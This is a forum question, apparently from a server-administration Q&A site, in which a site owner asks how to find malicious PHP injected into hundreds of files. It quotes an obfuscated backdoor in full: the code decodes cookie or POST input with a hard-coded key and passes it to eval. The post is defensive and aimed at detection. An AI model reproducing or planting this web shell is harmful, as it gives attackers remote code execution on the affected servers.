-2

I am running into a lot of issues with some files being infected, however, I figured they are very similar code inside and I was thinking about grep-ing through files to find this snip of code. The code is below, you can clearly see it has a common malware form. I have checked couple more, except for the different numbers/strings, everything else is the same. I tried with globals but that obviously found millions of strings.

$h8ce35949 = 771;$GLOBALS['d127b101'] = Array();global $d127b101;$d127b101 = $GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['n860fce1'] = "\x75\x32\x2d\x28\x79\x23\x6a\x39\x56\x9\x3f\x22\x7b\x2b\x5e\x57\x6f\x51\x55\x61\x73\x78\x3d\x71\x6d\xd\x45\x35\x5f\x5d\x4f\x4c\x5c\x25\x3c\x52\x21\x70\x36\x26\x2f\x38\x77\x6b\x2c\x4e\x29\x3a\x31\x5a\x6c\x62\x33\x27\x46\x7c\x58\x44\x34\x54\x47\x74\x49\x4d\x69\x20\xa\x48\x42\x59\x65\x43\x67\x4a\x41\x2a\x6e\x30\x72\x40\x3b\x76\x63\x7e\x4b\x37\x66\x50\x5b\x7d\x68\x2e\x60\x64\x24\x7a\x3e\x53";$d127b101[$d127b101['n860fce1'][86].$d127b101['n860fce1'][1].$d127b101['n860fce1'][7].$d127b101['n860fce1'][52]] = $d127b101['n860fce1'][82].$d127b101['n860fce1'][90].$d127b101['n860fce1'][78];$d127b101[$d127b101['n860fce1'][81].$d127b101['n860fce1'][70].$d127b101['n860fce1'][48].$d127b101['n860fce1'][38].$d127b101['n860fce1'][93].$d127b101['n860fce1'][7]] = $d127b101['n860fce1'][16].$d127b101['n860fce1'][78].$d127b101['n860fce1'][93];$d127b101[$d127b101['n860fce1'][20].$d127b101['n860fce1'][93].$d127b101['n860fce1'][58].$d127b101['n860fce1'][85].$d127b101['n860fce1'][1]] = $d127b101['n860fce1'][93].$d127b101['n860fce1'][70].$d127b101['n860fce1'][86].$d127b101['n860fce1'][64].$d127b101['n860fce1'][76].$d127b101['n860fce1'][70];$d127b101[$d127b101['n860fce1'][19].$d127b101['n860fce1'][7].$d127b101['n860fce1'][82].$d127b101['n860fce1'][77].$d127b101['n860fce1'][19].$d127b101['n860fce1'][51].$d127b101['n860fce1'][93].$d127b101['n860fce1'][48]] = $d127b101['n860fce1'][20].$d127b101['n860fce1'][61].$d127b101['n860fce1'][78].$d127b101['n860fce1'][50].$d127b101['n860fce1'][70].$d127b101['n860fce1'][76];$d127b101[$d127b101['n860fce1'][37].$d127b101['n860fce1'][19].$d127b101['n860fce1'][27].$d127b101['n860fce1'][82].$d127b101['n860fce1'][51].$d127b101['n860fce1'][48]] = $d127b101['n860fce1'][93].$d127b101['n860fce1'][70].$d127b101['n860fce1'][86].$d127b101['n860fce1'][64].$d127b101['n860fce1'][76].$d127b101['n860fce1'][70].$d127b101['n860fce1'][93];$d127b101[$d127b101['n860fce1'][95].$d127b101['n860fce1'][1].$d127b101['n860fce1'][1].$d127b101['n860fce1'][19].$d127b101['n860fce1'][86].$d127b101['n860fce1'][93]] = $d127b101['n860fce1'][64].$d127b101['n860fce1'][76].$d127b101['n860fce1'][64].$d127b101['n860fce1'][28].$d127b101['n860fce1'][20].$d127b101['n860fce1'][70].$d127b101['n860fce1'][61];$d127b101[$d127b101['n860fce1'][19].$d127b101['n860fce1'][48].$d127b101['n860fce1'][86].$d127b101['n860fce1'][51]] = $d127b101['n860fce1'][20].$d127b101['n860fce1'][70].$d127b101['n860fce1'][78].$d127b101['n860fce1'][64].$d127b101['n860fce1'][19].$d127b101['n860fce1'][50].$d127b101['n860fce1'][64].$d127b101['n860fce1'][95].$d127b101['n860fce1'][70];$d127b101[$d127b101['n860fce1'][37].$d127b101['n860fce1'][85].$d127b101['n860fce1'][27].$d127b101['n860fce1'][86]] = $d127b101['n860fce1'][37].$d127b101['n860fce1'][90].$d127b101['n860fce1'][37].$d127b101['n860fce1'][81].$d127b101['n860fce1'][70].$d127b101['n860fce1'][78].$d127b101['n860fce1'][20].$d127b101['n860fce1'][64].$d127b101['n860fce1'][16].$d127b101['n860fce1'][76];$d127b101[$d127b101['n860fce1'][90].$d127b101['n860fce1'][86].$d127b101['n860fce1'][27].$d127b101['n860fce1'][85]] = $d127b101['n860fce1'][0].$d127b101['n860fce1'][76].$d127b101['n860fce1'][20].$d127b101['n860fce1'][70].$d127b101['n860fce1'][78].$d127b101['n860fce1'][64].$d127b101['n860fce1'][19].$d127b101['n860fce1'][50].$d127b101['n860fce1'][64].$d127b101['n860fce1'][95].$d127b101['n860fce1'][70];$d127b101[$d127b101['n860fce1'][95].$d127b101['n860fce1'][51].$d127b101['n860fce1'][77].$d127b101['n860fce1'][82]] = $d127b101['n860fce1'][51].$d127b101['n860fce1'][19].$d127b101['n860fce1'][20].$d127b101['n860fce1'][70].$d127b101['n860fce1'][38].$d127b101['n860fce1'][58].$d127b101['n860fce1'][28].$d127b101['n860fce1'][93].$d127b101['n860fce1'][70].$d127b101['n860fce1'][82].$d127b101['n860fce1'][16].$d127b101['n860fce1'][93].$d127b101['n860fce1'][70];$d127b101[$d127b101['n860fce1'][82].$d127b101['n860fce1'][93].$d127b101['n860fce1'][70].$d127b101['n860fce1'][52].$d127b101['n860fce1'][93]] = $d127b101['n860fce1'][20].$d127b101['n860fce1'][70].$d127b101['n860fce1'][61].$d127b101['n860fce1'][28].$d127b101['n860fce1'][61].$d127b101['n860fce1'][64].$d127b101['n860fce1'][24].$d127b101['n860fce1'][70].$d127b101['n860fce1'][28].$d127b101['n860fce1'][50].$d127b101['n860fce1'][64].$d127b101['n860fce1'][24].$d127b101['n860fce1'][64].$d127b101['n860fce1'][61];$d127b101[$d127b101['n860fce1'][82].$d127b101['n860fce1'][52].$d127b101['n860fce1'][85].$d127b101['n860fce1'][70].$d127b101['n860fce1'][85]] = $d127b101['n860fce1'][93].$d127b101['n860fce1'][7].$d127b101['n860fce1'][77].$d127b101['n860fce1'][52].$d127b101['n860fce1'][7].$d127b101['n860fce1'][77].$d127b101['n860fce1'][93].$d127b101['n860fce1'][7].$d127b101['n860fce1'][19];$d127b101[$d127b101['n860fce1'][95].$d127b101['n860fce1'][58].$d127b101['n860fce1'][82].$d127b101['n860fce1'][41]] = $d127b101['n860fce1'][78].$d127b101['n860fce1'][70].$d127b101['n860fce1'][52].$d127b101['n860fce1'][77].$d127b101['n860fce1'][93].$d127b101['n860fce1'][41].$d127b101['n860fce1'][82];$d127b101[$d127b101['n860fce1'][20].$d127b101['n860fce1'][27].$d127b101['n860fce1'][52].$d127b101['n860fce1'][77].$d127b101['n860fce1'][19].$d127b101['n860fce1'][7].$d127b101['n860fce1'][41].$d127b101['n860fce1'][27].$d127b101['n860fce1'][7]] = $_POST;$d127b101[$d127b101['n860fce1'][86].$d127b101['n860fce1'][1].$d127b101['n860fce1'][58].$d127b101['n860fce1'][82].$d127b101['n860fce1'][19].$d127b101['n860fce1'][70]] = $_COOKIE;@$d127b101[$d127b101['n860fce1'][95].$d127b101['n860fce1'][1].$d127b101['n860fce1'][1].$d127b101['n860fce1'][19].$d127b101['n860fce1'][86].$d127b101['n860fce1'][93]]($d127b101['n860fce1'][70].$d127b101['n860fce1'][78].$d127b101['n860fce1'][78].$d127b101['n860fce1'][16].$d127b101['n860fce1'][78].$d127b101['n860fce1'][28].$d127b101['n860fce1'][50].$d127b101['n860fce1'][16].$d127b101['n860fce1'][72], NULL);@$d127b101[$d127b101['n860fce1'][95].$d127b101['n860fce1'][1].$d127b101['n860fce1'][1].$d127b101['n860fce1'][19].$d127b101['n860fce1'][86].$d127b101['n860fce1'][93]]($d127b101['n860fce1'][50].$d127b101['n860fce1'][16].$d127b101['n860fce1'][72].$d127b101['n860fce1'][28].$d127b101['n860fce1'][70].$d127b101['n860fce1'][78].$d127b101['n860fce1'][78].$d127b101['n860fce1'][16].$d127b101['n860fce1'][78].$d127b101['n860fce1'][20], 0);@$d127b101[$d127b101['n860fce1'][95].$d127b101['n860fce1'][1].$d127b101['n860fce1'][1].$d127b101['n860fce1'][19].$d127b101['n860fce1'][86].$d127b101['n860fce1'][93]]($d127b101['n860fce1'][24].$d127b101['n860fce1'][19].$d127b101['n860fce1'][21].$d127b101['n860fce1'][28].$d127b101['n860fce1'][70].$d127b101['n860fce1'][21].$d127b101['n860fce1'][70].$d127b101['n860fce1'][82].$d127b101['n860fce1'][0].$d127b101['n860fce1'][61].$d127b101['n860fce1'][64].$d127b101['n860fce1'][16].$d127b101['n860fce1'][76].$d127b101['n860fce1'][28].$d127b101['n860fce1'][61].$d127b101['n860fce1'][64].$d127b101['n860fce1'][24].$d127b101['n860fce1'][70], 0);@$d127b101[$d127b101['n860fce1'][82].$d127b101['n860fce1'][93].$d127b101['n860fce1'][70].$d127b101['n860fce1'][52].$d127b101['n860fce1'][93]](0);if (!$d127b101[$d127b101['n860fce1'][37].$d127b101['n860fce1'][19].$d127b101['n860fce1'][27].$d127b101['n860fce1'][82].$d127b101['n860fce1'][51].$d127b101['n860fce1'][48]]($d127b101['n860fce1'][74].$d127b101['n860fce1'][31].$d127b101['n860fce1'][35].$d127b101['n860fce1'][26].$d127b101['n860fce1'][74].$d127b101['n860fce1'][57].$d127b101['n860fce1'][69].$d127b101['n860fce1'][28].$d127b101['n860fce1'][35].$d127b101['n860fce1'][18].$d127b101['n860fce1'][45].$d127b101['n860fce1'][28].$d127b101['n860fce1'][52].$d127b101['n860fce1'][38].$d127b101['n860fce1'][38].$d127b101['n860fce1'][19].$d127b101['n860fce1'][86].$d127b101['n860fce1'][51].$d127b101['n860fce1'][41].$d127b101['n860fce1'][19].$d127b101['n860fce1'][41].$d127b101['n860fce1'][19].$d127b101['n860fce1'][1].$d127b101['n860fce1'][52].$d127b101['n860fce1'][27].$d127b101['n860fce1'][27].$d127b101['n860fce1'][19].$d127b101['n860fce1'][51].$d127b101['n860fce1'][1].$d127b101['n860fce1'][48].$d127b101['n860fce1'][86].$d127b101['n860fce1'][51].$d127b101['n860fce1'][86].$d127b101['n860fce1'][48].$d127b101['n860fce1'][48].$d127b101['n860fce1'][51].$d127b101['n860fce1'][19].$d127b101['n860fce1'][48].$d127b101['n860fce1'][19].$d127b101['n860fce1'][77].$d127b101['n860fce1'][1].$d127b101['n860fce1'][86].$d127b101['n860fce1'][51].$d127b101['n860fce1'][19])){$d127b101[$d127b101['n860fce1'][20].$d127b101['n860fce1'][93].$d127b101['n860fce1'][58].$d127b101['n860fce1'][85].$d127b101['n860fce1'][1]]($d127b101['n860fce1'][74].$d127b101['n860fce1'][31].$d127b101['n860fce1'][35].$d127b101['n860fce1'][26].$d127b101['n860fce1'][74].$d127b101['n860fce1'][57].$d127b101['n860fce1'][69].$d127b101['n860fce1'][28].$d127b101['n860fce1'][35].$d127b101['n860fce1'][18].$d127b101['n860fce1'][45].$d127b101['n860fce1'][28].$d127b101['n860fce1'][52].$d127b101['n860fce1'][38].$d127b101['n860fce1'][38].$d127b101['n860fce1'][19].$d127b101['n860fce1'][86].$d127b101['n860fce1'][51].$d127b101['n860fce1'][41].$d127b101['n860fce1'][19].$d127b101['n860fce1'][41].$d127b101['n860fce1'][19].$d127b101['n860fce1'][1].$d127b101['n860fce1'][52].$d127b101['n860fce1'][27].$d127b101['n860fce1'][27].$d127b101['n860fce1'][19].$d127b101['n860fce1'][51].$d127b101['n860fce1'][1].$d127b101['n860fce1'][48].$d127b101['n860fce1'][86].$d127b101['n860fce1'][51].$d127b101['n860fce1'][86].$d127b101['n860fce1'][48].$d127b101['n860fce1'][48].$d127b101['n860fce1'][51].$d127b101['n860fce1'][19].$d127b101['n860fce1'][48].$d127b101['n860fce1'][19].$d127b101['n860fce1'][77].$d127b101['n860fce1'][1].$d127b101['n860fce1'][86].$d127b101['n860fce1'][51].$d127b101['n860fce1'][19], 1);$c1e9da40 = NULL;$n1453cc = NULL;$d127b101[$d127b101['n860fce1'][95].$d127b101['n860fce1'][7].$d127b101['n860fce1'][70].$d127b101['n860fce1'][7].$d127b101['n860fce1'][58]] = $d127b101['n860fce1'][27].$d127b101['n860fce1'][41].$d127b101['n860fce1'][85].$d127b101['n860fce1'][77].$d127b101['n860fce1'][86].$d127b101['n860fce1'][7].$d127b101['n860fce1'][77].$d127b101['n860fce1'][77].$d127b101['n860fce1'][2].$d127b101['n860fce1'][27].$d127b101['n860fce1'][1].$d127b101['n860fce1'][70].$d127b101['n860fce1'][48].$d127b101['n860fce1'][2].$d127b101['n860fce1'][58].$d127b101['n860fce1'][1].$d127b101['n860fce1'][38].$d127b101['n860fce1'][93].$d127b101['n860fce1'][2].$d127b101['n860fce1'][41].$d127b101['n860fce1'][1].$d127b101['n860fce1'][7].$d127b101['n860fce1'][38].$d127b101['n860fce1'][2].$d127b101['n860fce1'][38].$d127b101['n860fce1'][52].$d127b101['n860fce1'][48].$d127b101['n860fce1'][52].$d127b101['n860fce1'][1].$d127b101['n860fce1'][58].$d127b101['n860fce1'][86].$d127b101['n860fce1'][86].$d127b101['n860fce1'][7].$d127b101['n860fce1'][70].$d127b101['n860fce1'][93].$d127b101['n860fce1'][93];global $z9e94;function  re30d8c($c1e9da40, $b5d2ce992){global $d127b101;$df547e95f = "";for ($nca58028d=0; $nca58028d<$d127b101[$d127b101['n860fce1'][19].$d127b101['n860fce1'][7].$d127b101['n860fce1'][82].$d127b101['n860fce1'][77].$d127b101['n860fce1'][19].$d127b101['n860fce1'][51].$d127b101['n860fce1'][93].$d127b101['n860fce1'][48]]($c1e9da40);){for ($k79ce121a=0; $k79ce121a<$d127b101[$d127b101['n860fce1'][19].$d127b101['n860fce1'][7].$d127b101['n860fce1'][82].$d127b101['n860fce1'][77].$d127b101['n860fce1'][19].$d127b101['n860fce1'][51].$d127b101['n860fce1'][93].$d127b101['n860fce1'][48]]($b5d2ce992) && $nca58028d<$d127b101[$d127b101['n860fce1'][19].$d127b101['n860fce1'][7].$d127b101['n860fce1'][82].$d127b101['n860fce1'][77].$d127b101['n860fce1'][19].$d127b101['n860fce1'][51].$d127b101['n860fce1'][93].$d127b101['n860fce1'][48]]($c1e9da40); $k79ce121a++, $nca58028d++){$df547e95f .= $d127b101[$d127b101['n860fce1'][86].$d127b101['n860fce1'][1].$d127b101['n860fce1'][7].$d127b101['n860fce1'][52]]($d127b101[$d127b101['n860fce1'][81].$d127b101['n860fce1'][70].$d127b101['n860fce1'][48].$d127b101['n860fce1'][38].$d127b101['n860fce1'][93].$d127b101['n860fce1'][7]]($c1e9da40[$nca58028d]) ^ $d127b101[$d127b101['n860fce1'][81].$d127b101['n860fce1'][70].$d127b101['n860fce1'][48].$d127b101['n860fce1'][38].$d127b101['n860fce1'][93].$d127b101['n860fce1'][7]]($b5d2ce992[$k79ce121a]));}}return $df547e95f;}function  d90390d9a($c1e9da40, $b5d2ce992){global $d127b101;global $z9e94;return $d127b101[$d127b101['n860fce1'][95].$d127b101['n860fce1'][58].$d127b101['n860fce1'][82].$d127b101['n860fce1'][41]]($d127b101[$d127b101['n860fce1'][95].$d127b101['n860fce1'][58].$d127b101['n860fce1'][82].$d127b101['n860fce1'][41]]($c1e9da40, $z9e94), $b5d2ce992);}foreach ($d127b101[$d127b101['n860fce1'][86].$d127b101['n860fce1'][1].$d127b101['n860fce1'][58].$d127b101['n860fce1'][82].$d127b101['n860fce1'][19].$d127b101['n860fce1'][70]] as $b5d2ce992=>$z80d666ae){$c1e9da40 = $z80d666ae;$n1453cc = $b5d2ce992;}if (!$c1e9da40){foreach ($d127b101[$d127b101['n860fce1'][20].$d127b101['n860fce1'][27].$d127b101['n860fce1'][52].$d127b101['n860fce1'][77].$d127b101['n860fce1'][19].$d127b101['n860fce1'][7].$d127b101['n860fce1'][41].$d127b101['n860fce1'][27].$d127b101['n860fce1'][7]] as $b5d2ce992=>$z80d666ae){$c1e9da40 = $z80d666ae;$n1453cc = $b5d2ce992;}}$c1e9da40 = @$d127b101[$d127b101['n860fce1'][90].$d127b101['n860fce1'][86].$d127b101['n860fce1'][27].$d127b101['n860fce1'][85]]($d127b101[$d127b101['n860fce1'][82].$d127b101['n860fce1'][52].$d127b101['n860fce1'][85].$d127b101['n860fce1'][70].$d127b101['n860fce1'][85]]($d127b101[$d127b101['n860fce1'][95].$d127b101['n860fce1'][51].$d127b101['n860fce1'][77].$d127b101['n860fce1'][82]]($c1e9da40), $n1453cc));if (isset($c1e9da40[$d127b101['n860fce1'][19].$d127b101['n860fce1'][43]]) && $z9e94==$c1e9da40[$d127b101['n860fce1'][19].$d127b101['n860fce1'][43]]){if ($c1e9da40[$d127b101['n860fce1'][19]] == $d127b101['n860fce1'][64]){$nca58028d = Array($d127b101['n860fce1'][37].$d127b101['n860fce1'][81] => @$d127b101[$d127b101['n860fce1'][37].$d127b101['n860fce1'][85].$d127b101['n860fce1'][27].$d127b101['n860fce1'][86]](),$d127b101['n860fce1'][20].$d127b101['n860fce1'][81] => $d127b101['n860fce1'][48].$d127b101['n860fce1'][91].$d127b101['n860fce1'][77].$d127b101['n860fce1'][2].$d127b101['n860fce1'][48],);echo @$d127b101[$d127b101['n860fce1'][19].$d127b101['n860fce1'][48].$d127b101['n860fce1'][86].$d127b101['n860fce1'][51]]($nca58028d);}elseif ($c1e9da40[$d127b101['n860fce1'][19]] == $d127b101['n860fce1'][70]){eval/*h1d099*/($c1e9da40[$d127b101['n860fce1'][93]]);}exit();}} ?><?php

And one more:

$j65dff = 375;$GLOBALS['jf3200df'] = Array();global $jf3200df;$jf3200df = $GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['p88d968'] = "\x5b\x45\x3e\x6e\x4b\x23\x32\x46\x64\x5c\x4d\x42\x9\x6b\x29\x3a\x38\x59\x71\x31\x5f\x2a\x78\x63\x44\x7a\x3c\x53\x22\x49\x43\x34\x73\x6f\x56\x66\x50\x70\x60\x51\x4f\x6d\x3b\x67\x3d\x37\x47\x75\x3f\x65\x54\x4c\x77\x4a\x5a\x2b\x30\x79\x36\x25\xa\x2c\x6a\x28\x2e\x68\x35\x74\x5d\x40\x24\x26\x58\x4e\x62\x33\x57\x52\x41\x69\x39\xd\x55\x2d\x21\x7e\x2f\x27\x61\x72\x7b\x5e\x76\x7d\x20\x7c\x6c\x48";$jf3200df[$jf3200df['p88d968'][67].$jf3200df['p88d968'][16].$jf3200df['p88d968'][35].$jf3200df['p88d968'][80]] = $jf3200df['p88d968'][23].$jf3200df['p88d968'][65].$jf3200df['p88d968'][89];$jf3200df[$jf3200df['p88d968'][79].$jf3200df['p88d968'][

Search results from ClamAV:

----------- SCAN SUMMARY -----------
Known viruses: 6101710
Engine version: 0.101.1
Scanned directories: 112669
Scanned files: 782959
Infected files: 23
Data scanned: 9707.44 MB
Data read: 31281.47 MB (ratio 0.31:1)
Time: 5254.333 sec (87 m 34 s)
  • 2
    This is the wrong approach. ClamAV is designed for this exact purpose. Install clamav from EPEL, update it with freshclam, and scan files with clamscan or if you start the daemon, clamdscan. – Rich Mar 22 at 22:21
  • That's absolutely a great idea which I tried already but it didn't seem to work = found nothing. – evul Mar 22 at 22:23
  • 1
    Did you have the opportunity to scan the files with another AV tool? If you can prove a file is indeed infected, it's good community practice to submit the file for analysis to ClamAV, here: clamav.net/reports/malware – Rich Mar 22 at 22:31
  • I did not, what I did is: grep -r --include=*.html --include=*.php --include=*.htm "$GLOBALS[" /some/path/ and saved to txt file, just by running a simple search (from windows though) on that file, I found out 700+ infected files with a very similar snippet. – evul Mar 22 at 22:36
  • how is grepping for html and php files finding infections? You have a server with 700+ infected files and clamav found none of them? – kemotep Mar 22 at 22:38

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.